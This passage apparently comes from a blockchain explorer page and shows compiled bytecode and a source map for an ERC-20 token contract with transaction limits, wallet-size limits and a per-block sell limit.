d816129c4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a5e60228361206f565b9150612a6982612a04565b604082019050919050565b5f6020820190508181035f830152612a8b81612a52565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aec60258361206f565b9150612af782612a92565b604082019050919050565b5f6020820190508181035f830152612b1981612ae0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b7a60238361206f565b9150612b8582612b20565b604082019050919050565b5f6020820190508181035f830152612ba781612b6e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612c0860298361206f565b9150612c1382612bae565b604082019050919050565b5f6020820190508181035f830152612c3581612bfc565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c7060198361206f565b9150612c7b82612c3c565b602082019050919050565b5f6020820190508181035f830152612c9d81612c64565b9050919050565b5f612cae82612153565b9150612cb983612153565b9250828201905080821115612cd157612cd061235f565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612d0b601a8361206f565b9150612d1682612cd7565b602082019050919050565b5f6020820190508181035f830152612d3881612cff565b9050919050565b5f612d4982612153565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d7b57612d7a61235f565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f612dba60178361206f565b9150612dc582612d86565b602082019050919050565b5f6020820190508181035f830152612de781612dae565b9050919050565b5f612df882612153565b9150612e0383612153565b9250828203905081811115612e1b57612e1a61235f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ead81612118565b82525050565b5f612ebe8383612ea4565b60208301905092915050565b5f602082019050919050565b5f612ee082612e7b565b612eea8185612e85565b9350612ef583612e95565b805f5b83811015612f25578151612f0c8882612eb3565b9750612f1783612eca565b925050600181019050612ef8565b5085935050505092915050565b5f60a082019050612f455f8301886121f7565b612f526020830187612828565b8181036040830152612f648186612ed6565b9050612f7360608301856122ce565b612f8060808301846121f7565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fe460218361206f565b9150612fef82612f8a565b604082019050919050565b5f6020820190508181035f83015261301181612fd8565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61304c601b8361206f565b915061305782613018565b602082019050919050565b5f6020820190508181035f83015261307981613040565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fda4c81a404d81938cd4e31da3ea5c8a9cac048feee7f503ba91e5e9f599267464736f6c634300081c0033

Deployed Bytecode Sourcemap

3518:8318:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5482:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6315:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4613:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5759:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6484:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5668:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11485:348;;;;;;;;;;;;;:::i;:::-;;5862:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2599:148;;;;;;;;;;;;;:::i;:::-;;10026:159;;;;;;;;;;;;;:::i;:::-;;4423:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2385:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4485:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5573:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5989:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4548:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10386:1054;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6164:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5482:83;5519:13;5552:5;;;;;;;;;;;;;;;;;5545:12;;5482:83;:::o;6315:161::-;6390:4;6407:39;6416:12;:10;:12::i;:::-;6430:7;6439:6;6407:8;:39::i;:::-;6464:4;6457:11;;6315:161;;;;:::o;4613:52::-;;;;:::o;5759:95::-;5812:7;4233:1;4289:2;:13;;;;:::i;:::-;4276:10;:26;;;;:::i;:::-;5832:14;;5759:95;:::o;6484:313::-;6582:4;6599:36;6609:6;6617:9;6628:6;6599:9;:36::i;:::-;6646:121;6655:6;6663:12;:10;:12::i;:::-;6677:89;6715:6;6677:89;;;;;;;;;;;;;;;;;:11;:19;6689:6;6677:19;;;;;;;;;;;;;;;:33;6697:12;:10;:12::i;:::-;6677:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6646:8;:121::i;:::-;6785:4;6778:11;;6484:313;;;;;:::o;5668:83::-;5709:5;4233:1;5727:16;;5668:83;:::o;10295:::-;10342:4;10363;:7;10368:1;10363:7;;;;;;;;;;;;;;;;;;;;;;;;;10356:14;;10295:83;;;:::o;11485:348::-;11549:10;;;;;;;;;;;11535:24;;:12;:10;:12::i;:::-;:24;;;11527:33;;;;;;11571:20;11592:24;11610:4;11592:9;:24::i;:::-;11571:45;;11643:1;11630:12;:14;11627:73;;;11658:30;11675:12;11658:16;:30::i;:::-;11627:73;11710:18;11729:21;11710:40;;11775:1;11764:10;:12;11761:65;;;11790:24;11803:10;11790:12;:24::i;:::-;11761:65;11516:317;;11485:348::o;5862:119::-;5928:7;5955:9;:18;5965:7;5955:18;;;;;;;;;;;;;;;;5948:25;;5862:119;;;:::o;2599:148::-;2522:12;:10;:12::i;:::-;2512:22;;:6;;;;;;;;;;;:22;;;2504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2706:1:::1;2669:40;;2690:6;;;;;;;;;;;2669:40;;;;;;;;;;;;2737:1;2720:6;;:19;;;;;;;;;;;;;;;;;;2599:148::o:0;10026:159::-;2522:12;:10;:12::i;:::-;2512:22;;:6;;;;;;;;;;;:22;;;2504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4233:1:::1;4289:2;:13;;;;:::i;:::-;4276:10;:26;;;;:::i;:::-;10079:12;:22;;;;4233:1;4289:2;:13;;;;:::i;:::-;4276:10;:26;;;;:::i;:::-;10112:14;:22;;;;10150:27;4233:1;4289:2;:13;;;;:::i;:::-;4276:10;:26;;;;:::i;:::-;10150:27;;;;;;:::i;:::-;;;;;;;;10026:159::o:0;4423:55::-;;;;:::o;2385:79::-;2423:7;2450:6;;;;;;;;;;;2443:13;;2385:79;:::o;4485:56::-;;;;:::o;5573:87::-;5612:13;5645:7;;;;;;;;;;;;;;;;;5638:14;;5573:87;:::o;5989:167::-;6067:4;6084:42;6094:12;:10;:12::i;:::-;6108:9;6119:6;6084:9;:42::i;:::-;6144:4;6137:11;;5989:167;;;;:::o;4548:58::-;;;;:::o;10386:1054::-;2522:12;:10;:12::i;:::-;2512:22;;:6;;;;;;;;;;;:22;;;2504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10476:11:::1;;;;;;;;;;;10475:12;10467:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;10545:1;10533:9;:13;10525:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10616:1;10603:10;:14;:35;;;;;10635:3;10621:10;:17;;10603:35;10595:84;;;;;;;;;;;;:::i;:::-;;;;;;;;;10727:42;10690:15;;:80;;;;;;;;;;;;;;;;;;10781:58;10798:4;10813:15;;;;;;;;;;;4233:1;4289:2;:13;;;;:::i;:::-;4276:10;:26;;;;:::i;:::-;10781:8;:58::i;:::-;10850:19;10914:3;10900:10;10873:24;10891:4;10873:9;:24::i;:::-;:37;;;;:::i;:::-;10872:45;;;;:::i;:::-;10850:67;;10962:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10944:55;;;11018:4;11034:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10944:123;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10928:13;;:139;;;;;;;;;;;;;;;;;;11078:15;;;;;;;;;;;:31;;;11117:9;11146:4;11162:11;11184:1;11196;11208:7;:5;:7::i;:::-;11226:15;11078:174;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11276:13;;;;;;;;;;;11269:29;;;11317:15;;;;;;;;;;;11344:17;11269:103;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11399:4;11385:11;;:18;;;;;;;;;;;;;;;;;;11428:4;11414:11;;:18;;;;;;;;;;;;;;;;;;10456:984;10386:1054:::0;:::o;6164:143::-;6245:7;6272:11;:18;6284:5;6272:18;;;;;;;;;;;;;;;:27;6291:7;6272:27;;;;;;;;;;;;;;;;6265:34;;6164:143;;;;:::o;140:98::-;193:7;220:10;213:17;;140:98;:::o;6805:335::-;6915:1;6898:19;;:5;:19;;;6890:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6996:1;6977:21;;:7;:21;;;6969:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7078:6;7048:11;:18;7060:5;7048:18;;;;;;;;;;;;;;;:27;7067:7;7048:27;;;;;;;;;;;;;;;:36;;;;7116:7;7100:32;;7109:5;7100:32;;;7125:6;7100:32;;;;;;:::i;:::-;;;;;;;;6805:335;;;:::o;7148:2271::-;7252:1;7236:18;;:4;:18;;;7228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7329:1;7315:16;;:2;:16;;;7307:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7399:1;7390:6;:10;7382:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7457:17;7475:1;7457:19;;7499:7;:5;:7::i;:::-;7491:15;;:4;:15;;;;:32;;;;;7516:7;:5;:7::i;:::-;7510:13;;:2;:13;;;;7491:32;7487:1608;;;7544:4;:10;7549:4;7544:10;;;;;;;;;;;;;;;;;;;;;;;;;7543:11;:24;;;;;7559:4;:8;7564:2;7559:8;;;;;;;;;;;;;;;;;;;;;;;;;7558:9;7543:24;7540:775;;;7583:76;7655:3;7583:67;7605:15;;7595:9;;:25;7594:55;;7635:14;;7594:55;;;7622:12;;7594:55;7583:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;7571:88;;7688:13;;;;;;;;;;;7680:21;;:4;:21;;;:55;;;;;7719:15;;;;;;;;;;;7705:30;;:2;:30;;;;7680:55;:83;;;;;7741:18;:22;7760:2;7741:22;;;;;;;;;;;;;;;;;;;;;;;;;7739:24;7680:83;7676:313;;;7803:12;;7793:6;:22;;7785:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;7898:14;;7888:6;7872:13;7882:2;7872:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7864:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7962:9;;:11;;;;;;;;;:::i;:::-;;;;;;7676:313;8014:13;;;;;;;;;;;8008:19;;:2;:19;;;:43;;;;;8046:4;8031:20;;:4;:20;;;;8008:43;8005:174;;;8084:79;8159:3;8084:70;8106:16;;8096:9;;:26;8095:58;;8138:15;;8095:58;;;8124:13;;8095:58;8084:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8072:91;;8005:174;7540:775;;;8231:68;8295:3;8231:59;8253:16;;8243:9;;:26;8242:47;;8282:7;8242:47;;;8272:7;8242:47;8231:59;;:6;:10;;:59;;;;:::i;:::-;:63;;:68;;;;:::i;:::-;8219:80;;7540:775;8335:28;8366:24;8384:4;8366:9;:24::i;:::-;8335:55;;8410:6;;;;;;;;;;;8409:7;:30;;;;;8426:13;;;;;;;;;;;8420:19;;:2;:19;;;8409:30;:45;;;;;8443:11;;;;;;;;;;;8409:45;:89;;;;;8481:17;;8458:20;:40;8409:89;:123;;;;;8514:18;;8502:9;;:30;8409:123;8405:679;;;8572:13;;8557:12;:28;8553:90;;;8622:1;8610:9;:13;;;;8553:90;8681:1;8669:9;;:13;8661:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;8729:69;8746:51;8750:6;8758:38;8762:20;8784:11;;8758:3;:38::i;:::-;8746:3;:51::i;:::-;8729:16;:69::i;:::-;8817:26;8846:21;8817:50;;8911:1;8890:18;:22;8886:106;;;8937:35;8950:21;8937:12;:35::i;:::-;8886:106;9010:9;;:11;;;;;;;;;:::i;:::-;;;;;;9056:12;9040:13;:28;;;;8534:550;8405:679;7525:1570;7487:1608;9121:1;9111:9;:11;9108:158;;;9161:39;9190:9;9161;:24;9179:4;9161:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9136:9;:24;9154:4;9136:24;;;;;;;;;;;;;;;:64;;;;9241:4;9218:36;;9227:4;9218:36;;;9247:6;9218:36;;;;;;:::i;:::-;;;;;;;;9108:158;9292:27;9312:6;9292:9;:15;9302:4;9292:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9276:9;:15;9286:4;9276:15;;;;;;;;;;;;;;;:43;;;;9344:25;9362:6;9344:9;:13;9354:2;9344:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;9330:9;:13;9340:2;9330:13;;;;;;;;;;;;;;;:39;;;;9400:2;9385:26;;9394:4;9385:26;;;9404:6;9385:26;;;;;;:::i;:::-;;;;;;;;7217:2202;7148:2271;;;:::o;1277:190::-;1363:7;1396:1;1391;:6;;1399:12;1383:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1423:9;1439:1;1435;:5;;;;:::i;:::-;1423:17;;1458:1;1451:8;;;1277:190;;;;;:::o;9535:483::-;5034:4;5025:6;;:13;;;;;;;;;;;;;;;;;;9613:21:::1;9651:1;9637:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9613:40;;9682:4;9664;9669:1;9664:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9708:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9698:4;9703:1;9698:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9741:62;9758:4;9773:15;;;;;;;;;;;9791:11;9741:8;:62::i;:::-;9814:15;;;;;;;;;;;:66;;;9895:11;9921:1;9937:4;9964;9984:15;9814:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9602:416;5070:5:::0;5061:6;;:14;;;;;;;;;;;;;;;;;;9535:483;:::o;10193:92::-;10250:10;;;;;;;;;;;:19;;:27;10270:6;10250:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10193:92;:::o;1475:246::-;1533:7;1562:1;1557;:6;1553:47;;1587:1;1580:8;;;;1553:47;1610:9;1626:1;1622;:5;;;;:::i;:::-;1610:17;;1655:1;1650;1646;:5;;;;:::i;:::-;:10;1638:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1712:1;1705:8;;;1475:246;;;;;:::o;1729:132::-;1787:7;1814:39;1818:1;1821;1814:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1807:46;;1729:132;;;;:::o;9429:98::-;9486:7;9513:1;9511;:3;9510:9;;9518:1;9510:9;;;9516:1;9510:9;9503:16;;9429:98;;;;:::o;946:179::-;1004:7;1024:9;1040:1;1036;:5;;;;:::i;:::-;1024:17;;1065:1;1060;:6;;1052:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1116:1;1109:8;;;946:179;;;;:::o;1133:136::-;1191:7;1218:43;1222:1;1225;1218:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1211:50;;1133:136;;;;:::o;1869:189::-;1955:7;1987:1;1983;:5;1990:12;1975:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2014:9;2030:1;2026;:5;;;;:::i;:::-;2014:17;;2049:1;2042:8;;;1869:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:329::-;4805:6;4854:2;4842:9;4833:7;4829:23;4825:32;4822:119;;;4860:79;;:::i;:::-;4822:119;4980:1;5005:53;5050:7;5041:6;5030:9;5026:22;5005:53;:::i;:::-;4995:63;;4951:117;4746:329;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:329::-;5492:6;5541:2;5529:9;5520:7;5516:23;5512:32;5509:119;;;5547:79;;:::i;:::-;5509:119;5667:1;5692:53;5737:7;5728:6;5717:9;5713:22;5692:53;:::i;:::-;5682:63;;5638:117;5433:329;;;;:::o;5768:474::-;5836:6;5844;5893:2;5881:9;5872:7;5868:23;5864:32;5861:119;;;5899:79;;:::i;:::-;5861:119;6019:1;6044:53;6089:7;6080:6;6069:9;6065:22;6044:53;:::i;:::-;6034:63;;5990:117;6146:2;6172:53;6217:7;6208:6;6197:9;6193:22;6172:53;:::i;:::-;6162:63;;6117:118;5768:474;;;;;:::o;6248:180::-;6296:77;6293:1;6286:88;6393:4;6390:1;6383:15;6417:4;6414:1;6407:15;6434:102;6476:8;6523:5;6520:1;6516:13;6495:34;;6434:102;;;:::o;6542:848::-;6603:5;6610:4;6634:6;6625:15;;6658:5;6649:14;;6672:712;6693:1;6683:8;6680:15;6672:712;;;6788:4;6783:3;6779:14;6773:4;6770:24;6767:50;;;6797:18;;:::i;:::-;6767:50;6847:1;6837:8;6833:16;6830:451;;;7262:4;7255:5;7251:16;7242:25;;6830:451;7312:4;7306;7302:15;7294:23;;7342:32;7365:8;7342:32;:::i;:::-;7330:44;;6672:712;;;6542:848;;;;;;;:::o;7396:1073::-;7450:5;7641:8;7631:40;;7662:1;7653:10;;7664:5;;7631:40;7690:4;7680:36;;7707:1;7698:10;;7709:5;;7680:36;7776:4;7824:1;7819:27;;;;7860:1;7855:191;;;;7769:277;;7819:27;7837:1;7828:10;;7839:5;;;7855:191;7900:3;7890:8;7887:17;7884:43;;;7907:18;;:::i;:::-;7884:43;7956:8;7953:1;7949:16;7940:25;;7991:3;7984:5;7981:14;7978:40;;;7998:18;;:::i;:::-;7978:40;8031:5;;;7769:277;;8155:2;8145:8;8142:16;8136:3;8130:4;8127:13;8123:36;8105:2;8095:8;8092:16;8087:2;8081:4;8078:12;8074:35;8058:111;8055:246;;;8211:8;8205:4;8201:19;8192:28;;8246:3;8239:5;8236:14;8233:40;;;8253:18;;:::i;:::-;8233:40;8286:5;;8055:246;8326:42;8364:3;8354:8;8348:4;8345:1;8326:42;:::i;:::-;8311:57;;;;8400:4;8395:3;8391:14;8384:5;8381:25;8378:51;;;8409:18;;:::i;:::-;8378:51;8458:4;8451:5;8447:16;8438:25;;7396:1073;;;;;;:::o;8475:281::-;8533:5;8557:23;8575:4;8557:23;:::i;:::-;8549:31;;8601:25;8617:8;8601:25;:::i;:::-;8589:37;;8645:104;8682:66;8672:8;8666:4;8645:104;:::i;:::-;8636:113;;8475:281;;;;:::o;8762:410::-;8802:7;8825:20;8843:1;8825:20;:::i;:::-;8820:25;;8859:20;8877:1;8859:20;:::i;:::-;8854:25;;8914:1;8911;8907:9;8936:30;8954:11;8936:30;:::i;:::-;8925:41;;9115:1;9106:7;9102:15;9099:1;9096:22;9076:1;9069:9;9049:83;9026:139;;9145:18;;:::i;:::-;9026:139;8810:362;8762:410;;;;:::o;9178:182::-;9318:34;9314:1;9306:6;9302:14;9295:58;9178:182;:::o;9366:366::-;9508:3;9529:67;9593:2;9588:3;9529:67;:::i;:::-;9522:74;;9605:93;9694:3;9605:93;:::i;:::-;9723:2;9718:3;9714:12;9707:19;;9366:366;;;:::o;9738:419::-;9904:4;9942:2;9931:9;9927:18;9919:26;;9991:9;9985:4;9981:20;9977:1;9966:9;9962:17;9955:47;10019:131;10145:4;10019:131;:::i;:::-;10011:139;;9738:419;;;:::o;10163:173::-;10303:25;10299:1;10291:6;10287:14;10280:49;10163:173;:::o;10342:366::-;10484:3;10505:67;10569:2;10564:3;10505:67;:::i;:::-;10498:74;;10581:93;10670:3;10581:93;:::i;:::-;10699:2;10694:3;10690:12;10683:19;;10342:366;;;:::o;10714:419::-;10880:4;10918:2;10907:9;10903:18;10895:26;;10967:9;10961:4;10957:20;10953:1;10942:9;10938:17;10931:47;10995:131;11121:4;10995:131;:::i;:::-;10987:139;;10714:419;;;:::o;11139:220::-;11279:34;11275:1;11267:6;11263:14;11256:58;11348:3;11343:2;11335:6;11331:15;11324:28;11139:220;:::o;11365:366::-;11507:3;11528:67;11592:2;11587:3;11528:67;:::i;:::-;11521:74;;11604:93;11693:3;11604:93;:::i;:::-;11722:2;11717:3;11713:12;11706:19;;11365:366;;;:::o;11737:419::-;11903:4;11941:2;11930:9;11926:18;11918:26;;11990:9;11984:4;11980:20;11976:1;11965:9;11961:17;11954:47;12018:131;12144:4;12018:131;:::i;:::-;12010:139;;11737:419;;;:::o;12162:223::-;12302:34;12298:1;12290:6;12286:14;12279:58;12371:6;12366:2;12358:6;12354:15;12347:31;12162:223;:::o;12391:366::-;12533:3;12554:67;12618:2;12613:3;12554:67;:::i;:::-;12547:74;;12630:93;12719:3;12630:93;:::i;:::-;12748:2;12743:3;12739:12;12732:19;;12391:366;;;:::o;12763:419::-;12929:4;12967:2;12956:9;12952:18;12944:26;;13016:9;13010:4;13006:20;13002:1;12991:9;12987:17;12980:47;13044:131;13170:4;13044:131;:::i;:::-;13036:139;;12763:419;;;:::o;13188:180::-;13236:77;13233:1;13226:88;13333:4;13330:1;13323:15;13357:4;13354:1;13347:15;13374:185;13414:1;13431:20;13449:1;13431:20;:::i;:::-;13426:25;;13465:20;13483:1;13465:20;:::i;:::-;13460:25;;13504:1;13494:35;;13509:18;;:::i;:::-;13494:35;13551:1;13548;13544:9;13539:14;;13374:185;;;;:::o;13565:143::-;13622:5;13653:6;13647:13;13638:22;;13669:33;13696:5;13669:33;:::i;:::-;13565:143;;;;:::o;13714:351::-;13784:6;13833:2;13821:9;13812:7;13808:23;13804:32;13801:119;;;13839:79;;:::i;:::-;13801:119;13959:1;13984:64;14040:7;14031:6;14020:9;14016:22;13984:64;:::i;:::-;13974:74;;13930:128;13714:351;;;;:::o;14071:332::-;14192:4;14230:2;14219:9;14215:18;14207:26;;14243:71;14311:1;14300:9;14296:17;14287:6;14243:71;:::i;:::-;14324:72;14392:2;14381:9;14377:18;14368:6;14324:72;:::i;:::-;14071:332;;;;;:::o;14409:85::-;14454:7;14483:5;14472:16;;14409:85;;;:::o;14500:60::-;14528:3;14549:5;14542:12;;14500:60;;;:::o;14566:158::-;14624:9;14657:61;14675:42;14684:32;14710:5;14684:32;:::i;:::-;14675:42;:::i;:::-;14657:61;:::i;:::-;14644:74;;14566:158;;;:::o;14730:147::-;14825:45;14864:5;14825:45;:::i;:::-;14820:3;14813:58;14730:147;;:::o;14883:807::-;15132:4;15170:3;15159:9;15155:19;15147:27;;15184:71;15252:1;15241:9;15237:17;15228:6;15184:71;:::i;:::-;15265:72;15333:2;15322:9;15318:18;15309:6;15265:72;:::i;:::-;15347:80;15423:2;15412:9;15408:18;15399:6;15347:80;:::i;:::-;15437;15513:2;15502:9;15498:18;15489:6;15437:80;:::i;:::-;15527:73;15595:3;15584:9;15580:19;15571:6;15527:73;:::i;:::-;15610;15678:3;15667:9;15663:19;15654:6;15610:73;:::i;:::-;14883:807;;;;;;;;;:::o;15696:143::-;15753:5;15784:6;15778:13;15769:22;;15800:33;15827:5;15800:33;:::i;:::-;15696:143;;;;:::o;15845:663::-;15933:6;15941;15949;15998:2;15986:9;15977:7;15973:23;15969:32;15966:119;;;16004:79;;:::i;:::-;15966:119;16124:1;16149:64;16205:7;16196:6;16185:9;16181:22;16149:64;:::i;:::-;16139:74;;16095:128;16262:2;16288:64;16344:7;16335:6;16324:9;16320:22;16288:64;:::i;:::-;16278:74;;16233:129;16401:2;16427:64;16483:7;16474:6;16463:9;16459:22;16427:64;:::i;:::-;16417:74;;16372:129;15845:663;;;;;:::o;16514:332::-;16635:4;16673:2;16662:9;16658:18;16650:26;;16686:71;16754:1;16743:9;16739:17;16730:6;16686:71;:::i;:::-;16767:72;16835:2;16824:9;16820:18;16811:6;16767:72;:::i;:::-;16514:332;;;;;:::o;16852:116::-;16922:21;16937:5;